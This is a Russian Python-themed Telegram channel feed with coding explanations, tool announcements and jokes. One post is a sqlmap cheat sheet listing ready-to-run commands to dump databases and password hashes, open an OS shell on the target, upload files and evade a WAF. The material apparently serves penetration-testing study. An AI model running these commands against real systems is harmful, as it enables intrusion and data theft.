Python_BE1
9 subscribers
748 photos
252 videos
7 files
672 links
Канал по Python, полезный и интересный контент для всех уровней.
По вопросам сотрудничества @cyberJohnny
Download Telegram
This media is not supported in your browser
VIEW IN TELEGRAM
Заслуженный работник ИТ заходит в кофейню за тыквенным латте
@python_be1
👍1
Как реализовать менеджер контекста в Python с помощью класса? В каких случаях его стоит использовать? Приведите пример его реализации и покажите, как он работает

❗️Менеджеры контекста позволяют правильно управлять ресурсами, например, открытием и закрытием файлов, установлением и завершением соединений с базами данных или блокировкой и освобождением ресурсов в многопоточном программировании. Классический способ создания менеджера контекста — использование конструкции with. Менеджеры контекста помогают упрощать код и предотвращают утечки ресурсов, так как гарантируют выполнение завершающих действий даже при возникновении исключений.

Для создания менеджера контекста с помощью класса необходимо определить два метода:

enter() — код, выполняемый при входе в контекст (with).

exit(self, exc_type, exc_val, exc_tb) — код, выполняемый при выходе из контекста, даже если внутри возникло исключение.

💡Пример:

Допустим, у нас есть класс DatabaseConnection, который имитирует подключение к базе данных. Менеджер контекста будет обеспечивать автоматическое подключение и отключение от базы данных:

class DatabaseConnection:
def __init__(self, db_name):
self.db_name = db_name

def __enter__(self):
# Действия при входе в контекст
print(f"Connecting to database '{self.db_name}'...")
self.connection = f"Connection to {self.db_name}"
return self.connection # Возвращаем объект соединения

def __exit__(self, exc_type, exc_val, exc_tb):
# Действия при выходе из контекста (закрытие соединения)
print(f"Closing connection to '{self.db_name}'...")
self.connection = None
return False # Если возникло исключение, не подавлять его

# Использование менеджера контекста
with DatabaseConnection('test_db') as conn:
print(f"Using {conn} to execute queries...")
Результат выполнения:

Connecting to database 'test_db'...
Using Connection to test_db to execute queries...
Closing connection to 'test_db'...
💡Объяснение

🌟Метод enter() открывает соединение и возвращает его.

🌟Метод exit() автоматически вызывается при выходе из блока with и закрывает соединение.

🌟Если в блоке with возникнет исключение, оно будет передано в exit(), но не будет подавлено (return False).
@python_be1
👍1
🐺 LibreWolf (https://codeberg.org/librewolf) – это версия браузера Firefox, созданная независимыми разработчиками и направленная на обеспечение конфиденциальности и безопасности пользователей.

Хотя она появилась относительно недавно, в последнее время её популярность быстро растет. Браузер имеет открытый исходный код, ссылку на который можно найти на сайте разработчиков.

Для загрузки предлагаются 64-битная версия браузера для Windows в виде стандартного установщика и, в качестве альтернативы, портативное приложение в ZIP-архиве.

Если обычно вы пользуетесь Firefox, интерфейс программы покажется вам знакомым. Сразу бросается в глаза, что в качестве поисковой системы по умолчанию в LibreWolf используется DuckDuckGo, но её можно заменить другими поисковыми системами, считающимися безопасными: например, Searx или Qwant. Настройки браузера в целом аналогичны Firefox, никаких специфических опций в окне конфигурации браузера обнаружить не удалось.

В LibreWolf в целях безопас­ности заб­локиро­ван стан­дар­тный менед­жер паролей, но вмес­то него мож­но исполь­зовать сто­рон­ние пла­гины для Firefox. Так­же в бра­узе­ре вклю­чен так называ­емый режим Enhanced Tracking Protection, который бло­киру­ет некото­рые сто­рон­ние скрип­ты, если их не заб­локиро­вал пла­гин uBlock Origin.

https://codeberg.org/librewolf

@linuxkalii
@python_be1
👍1
⚡️ Crawl4AI v0.2.77 🕷️🤖

Этот репозиторий на GitHub позволяет легко парить веб-страницы и получать выходные данные в форматах, удобных для LLM (JSON, очищенный HTML, markdown).
Особенности
• Поддерживает одновременный обход нескольких URL-адресов
• Извлекает и возвращает все медиатеги (изображения, аудио и видео)
• Извлекает все внешние и внутренние ссылки
• Извлекает метаданные со страницы
• Настраиваемые перехватчики для аутентификации, заголовков и изменений страницы перед сканированием

Github: https://github.com/unclecode/crawl4ai
Colab: https://colab.research.google.com/drive/1sJPAmeLj5PMrg2VgOwMJ2ubGIcK0cJeX?usp=sharing

@pythonl
@python_be1
👍1
Вот отличный пример для пет-проекта, где вы сможете изучить несколько библиотек одновременно и создать готовое решение для определенной задачи. Автор статьи поделился своим опытом разработки, инструментами, которые он использовал, и трудностями, с которыми он столкнулся. Также в статье приведена ссылка на репозиторий с исходным кодом.

https://habr.com/ru/articles/819477/
@python_be1
👍1
Как механизм interning влияет на сравнение строк в Python? Приведите пример, когда использование оператора == и оператора is для строк дает разные результаты. В каких случаях это знание может быть полезно?

<spoiler>❗️</spoiler><spoiler> В Python существует механизм interning, который используется для оптимизации хранения и сравнения строк. Interning автоматически применяет к коротким строкам, строкам с символами только из алфавита или строкам, которые часто используются в программе. Это означает, что такие строки могут быть закэшированы, и вместо создания нового объекта Python будет использовать уже существующий.

</spoiler><spoiler>💡</spoiler><spoiler> Когда строка подвергается интернированию, все переменные, которые ссылаются на одну и ту же строку, фактически указывают на один и тот же объект в памяти. В этом случае операторы == (сравнение по значению) и is (сравнение по идентификатору объекта) будут возвращать одинаковый результат. Но если строки не закэшированы или были созданы динамически, то is может вернуть False, даже если строки равны по значению (==).

Пример:
</spoiler><pre language="python"># Строки, созданные вручную (будут интернированы)
a = "hello"
b = "hello"

print(a == b) # True, так как значения строк одинаковы
print(a is b) # True, так как строки интернированы и ссылаются на один объект

# Строки, созданные динамически (не всегда интернированы)
x = "".join(["hel", "lo"])
y = "hello"

print(x == y) # True, значения одинаковы
print(x is y) # False, так как x и y — это разные объекты в памяти</pre><spoiler>
Когда это знание полезно:

</spoiler><spoiler>🌟</spoiler><spoiler> Оптимизация памяти: Понимание работы интернирования позволяет эффективнее использовать память, особенно при работе с большим количеством однотипных строк.
</spoiler><spoiler>🌟</spoiler><spoiler> Оптимизация скорости: Оператор is работает быстрее, чем == для строк, но его можно безопасно использовать только тогда, когда гарантированно известно, что строки интернированы (например, ключи в словарях или имена атрибутов).
</spoiler><spoiler>🌟</spoiler><spoiler> Избегание ошибок: Если случайно использовать is вместо == для сравнения строк, особенно созданных динамически, это может привести к неожиданному поведению программы.</spoiler>

@python_job_interview
@python_be1
👍1
🖥 Flet — фреймворк для создания кроссплатформенных приложений на Python

— <code>pip install flet</code>

Flet — фреймворк, предоставляющий Flutter компоненты для разработки кроссплатформенных приложений на Python (разработчики обещают расширять список поддерживаемых языков).

Flet не использует какие-то SDK, не компилирует код Python в код Dart и весь UI отображается с помощью встроенного Web сервера.

🖥 GitHub (https://github.com/flet-dev/flet)
🟡 Доки (https://flet.dev/docs/)

@pythonl
@python_be1
👍1
pocketpy
Это легковесный интерпретатор Python 3.x, предназначенный для написания игровых скриптов. Легко встраивается в проекты с помощью одного заголовочного файла и не требует внешних зависимостей.

https://github.com/pocketpy/pocketpy
@python_be1
https://github.com/pocketpy/pocketpy
👍1
👩‍💻 Построение графика цены акций в виде японских свеч с использованием библиотеки yfinance

Github (https://github.com/ranaroussi/yfinance)

@pythonl
@python_be1
👍1
Что делает метод truncate()?

Метод truncate() из модуля os позволяет обрезать файл по указанному пути path, устанавливая его длину не более length байтов.

Синтаксис:
os.truncate(path, length), где path — строка, представляющая путь к файлу в файловой системе, а length — целое число, определяющее размер в байтах.

Подробнее про этот метод здесь https://docs-python.ru/standart-library/modul-os-python/funktsija-truncate-modulja-os/.
@python_be1
https://docs-python.ru/standart-library/modul-os-python/funktsija-truncate-modulja-os/
🔐 Шпаргалка по использованию sqlmap
SQLMAP — это инструмент для проникновения с открытым исходным кодом.

SQLMAP позволяет автоматизировать процесс выявления и последующего использования уязвимостей SQL-инъекций и последующего получения контроля над серверами баз данных .

Кроме того, SQLMAP поставляется с механизмом обнаружения, который включает расширенные функции для поддержки тестирования на проникновение.

🌟 Базовый скан URL на наличие уязвимостей:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1"</pre>
🌟 Автоматический дамп всех баз данных:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —dbs</pre>
🌟 Извлечение таблиц из конкретной базы данных:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных —tables</pre>
🌟 Извлечение данных из конкретной таблицы:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы —dump</pre>
🌟 Обход WAF (брандмауэра) с помощью указания пользовательского заголовка User-Agent:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —user-agent="Mozilla/5.0"</pre>
🌟 Подбор базы данных и получение информации о пользователях:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —current-db —current-user</pre>
🌟 Включение интерактивной оболочки (OS Shell) для удаленного выполнения команд:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —os-shell</pre>
🌟 Выполнение SQL-запросов вручную:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —sql-query "SELECT user, password FROM users"</pre>
🌟 Проверка на возможность подключения с правами администратора:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —is-dba</pre>
🌟 Брутфорсирование паролей пользователей:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —passwords</pre>
🌟 Загрузка файла на удаленный сервер:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —file-write="/path/to/local/file" —file-dest="/path/to/remote/file"</pre>
🌟 Получение списка столбцов из таблицы:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы —columns</pre>
🌟 Использование прокси-сервера:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —proxy="http://127.0.0.1:8080"</pre>
🌟 Определение используемой базы данных и версии:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —banner</pre>
🌟 Атака на POST-запросы (если параметры передаются в теле):
<pre language="shell">
sqlmap -u "http://example.com/login.php" —data="username=admin&password=admin"</pre>

@linuxkalii
@python_be1
👍1
✔️ YOLO11: новая эра в компьютерном зрении.

Компания Ultralytics представила YOLO11, новейшую версию своей знаменитой модели искусственного интеллекта для компьютерного зрения.

YOLO11 поддерживает широкий спектр задач CV: обнаружение объектов, сегментацию экземпляров, классификацию изображений, оценку позы, обнаружение ориентированных объектов (OBB) и отслеживание объектов. Модель получила улучшенное извлечение признаков.

YOLO11m достигает более высокого балла средней средней точности (mAP) в наборе данных COCO, используя на 22% меньше параметров, чем YOLOv8m.
YOLO11 вскоре будет доступна через Ultralytics HUB и пакет Ultralytics Python.

ultralytics.com (https://www.ultralytics.com/ru/blog/ultralytics-yolo11-has-arrived-redefine-whats-possible-in-ai)
@python_be1
👍1
🖥 Курс по основам программирования Linux (https://stepik.org/course/548/promo?search=5483640478) предлагает уникальную возможность изучения не только теории, но и практики работы с операционной системой. В рамках курса вы научитесь управлять процессами, писать сетевые приложения, а также узнаете, как Linux работает с многопоточностью.

Помимо этого, курс предоставляет доступ к реальным инструментам, которые активно используются разработчиками со всего мира. Вы сможете изучить системные вызовы и понять, как взаимодействуют между собой программы в ОС.

Этот курс — настоящая находка для начинающих программистов: ссылка на курс (https://stepik.org/course/548/promo?search=5483640478). (https://stepik.org/course/548/promo?search=5483640478)
#курс #программирование #linux #ru
@python_be1
👍1
🔍 Нотация Big O 101: Секрет написания эффективных алгоритмов

О-большое (Big O) – это специальная нотация, используемая для описания асимптотической сложности; то есть, скорости роста времени выполнения алгоритма с увеличением размера входных данных.

Это нужно, чтобы понимать, насколько быстро или медленно работают алгоритмы. В О-большом нет коэффициентов, минут, секунд и так далее. Об этом будет наглядно показано в примере про логарифмическую сложность O(log n).
@python_be1
👍1
🖥 Новый тренд программирования в Python – LangChain

LangChain — это мощная библиотека, которая облегчает создание приложений на основе языковых моделей. Она позволяет интегрировать различные компоненты: от работы с API до обработки текста и динамического создания запросов к LLM через API.🌐

🔍 Подробности об использовании LangChain (https://python.langchain.com/docs/introduction/)

💡 С помощью LangChain можно легко создавать ассистентов, chatbots и многое другое. Не упустите шанс изучить его возможности!

@pythonl (http://t.me/pythonl)
@python_be1
👍1
Какие-то странные там айтишники

#ithumor
@python_be1
👍1